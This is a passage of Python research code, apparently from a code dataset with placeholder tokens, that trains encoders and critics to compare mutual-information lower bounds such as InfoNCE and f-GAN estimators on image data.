tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\n<function token>\n\n\ndef tfds_to_np(dataset):\n features = list(tfds.as_numpy(dataset))\n images = np.stack([f[FEATURE_INPUT].ravel() for f in features])\n labels = np.stack([f[FEATURE_LABEL].ravel() for f in features])\n return images, labels\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\ndef real_nvp_default_template(hidden_layers, shift_only=False, activation=\n tf.nn.relu, name=None, *args, **kwargs):\n with tf.compat.v1.name_scope(name or 'real_nvp_default_template'):\n\n def _fn(x, output_units, **condition_kwargs):\n \"\"\"Fully connected MLP parameterized via `real_nvp_template`.\"\"\"\n if condition_kwargs:\n raise NotImplementedError(\n 'Conditioning not implemented in the default template.')\n if tensorshape_util.rank(x.shape) == 1:\n x = x[tf.newaxis, ...]\n reshape_output = lambda x: x[0]\n else:\n reshape_output = lambda x: x\n for units in hidden_layers:\n x = tf1.layers.dense(*args, inputs=x, units=units,\n activation=activation, **kwargs)\n x = tf1.layers.dense(*args, inputs=x, units=(1 if shift_only else\n 2) * output_units, activation=None, **kwargs)\n if shift_only:\n return reshape_output(x), None\n shift, log_scale = tf.split(x, 2, axis=-1)\n return reshape_output(shift), 1e-07 + tf.nn.softplus(reshape_output\n (log_scale))\n return tf1.make_template('real_nvp_default_template', _fn)\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n\n\ndef acti_func(x, a, b, c):\n x = tf.stop_gradient(x)\n alpha = tf.zeros_like(x)\n alpha = tf.where(x <= b, -a * x / b + a, alpha)\n alpha = tf.where((x > b) & (x < c), 0.0, alpha)\n alpha = tf.where(x >= c, a * x / (1 - c) + a * c / (c - 1), alpha)\n return alpha\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(FuncFormatter(lambda x, p: format(\n int(x / 1000), ',')))\n ax.set_xlabel('Training steps (in thousands)')\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc='lower right', handles=handles[1:], labels=labels[1:])\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\ndef get_classification_accuracy(session, codes, data_ph, dims):\n x_train_mapped = map_data(x_train, session, codes, data_ph, dims)\n x_test_mapped = map_data(x_test, session, codes, data_ph, dims)\n accuracy = logistic_fit(x_train_mapped, y_train, x_test_mapped, y_test)\n return accuracy\n\n\n<function token>\n\n\ndef reduce_logmeanexp_nodiag(x, axis=None):\n batch_size = x.shape[0]\n logsumexp = tf.reduce_logsumexp(input_tensor=x - tf.linalg.tensor_diag(\n np.inf * tf.ones(batch_size)), axis=axis)\n if axis:\n num_elem = batch_size - 1.0\n else:\n num_elem = batch_size * (batch_size - 1.0)\n return logsumexp - tf.math.log(num_elem)\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\n<function token>\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\[email protected]\ndef infonce_lower_bound(scores):\n \"\"\"InfoNCE lower bound from van den Oord et al. (2018).\"\"\"\n nll = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores) - tf.\n reduce_logsumexp(input_tensor=scores, axis=1))\n mi = tf.math.log(tf.cast(scores.shape[0], tf.float32)) + nll\n return mi\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\[email protected]\ndef skew_js_fgan_lower_bound(f):\n \"\"\"skewed js lower bound (true cross entropy)\"\"\"\n n = tf.cast(f.shape[0], tf.float32)\n alpha = 1 / n\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return alpha * first_term - (1 - alpha) * second_term\n\n\[email protected]\ndef label_smooth_pcc(f):\n \"\"\" pcc with label smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n labels = (1.0 - args.smoothing) * labels + args.smoothing / 2\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\n<function token>\n\n\ndef tfds_to_np(dataset):\n features = list(tfds.as_numpy(dataset))\n images = np.stack([f[FEATURE_INPUT].ravel() for f in features])\n labels = np.stack([f[FEATURE_LABEL].ravel() for f in features])\n return images, labels\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\ndef real_nvp_default_template(hidden_layers, shift_only=False, activation=\n tf.nn.relu, name=None, *args, **kwargs):\n with tf.compat.v1.name_scope(name or 'real_nvp_default_template'):\n\n def _fn(x, output_units, **condition_kwargs):\n \"\"\"Fully connected MLP parameterized via `real_nvp_template`.\"\"\"\n if condition_kwargs:\n raise NotImplementedError(\n 'Conditioning not implemented in the default template.')\n if tensorshape_util.rank(x.shape) == 1:\n x = x[tf.newaxis, ...]\n reshape_output = lambda x: x[0]\n else:\n reshape_output = lambda x: x\n for units in hidden_layers:\n x = tf1.layers.dense(*args, inputs=x, units=units,\n activation=activation, **kwargs)\n x = tf1.layers.dense(*args, inputs=x, units=(1 if shift_only else\n 2) * output_units, activation=None, **kwargs)\n if shift_only:\n return reshape_output(x), None\n shift, log_scale = tf.split(x, 2, axis=-1)\n return reshape_output(shift), 1e-07 + tf.nn.softplus(reshape_output\n (log_scale))\n return tf1.make_template('real_nvp_default_template', _fn)\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: 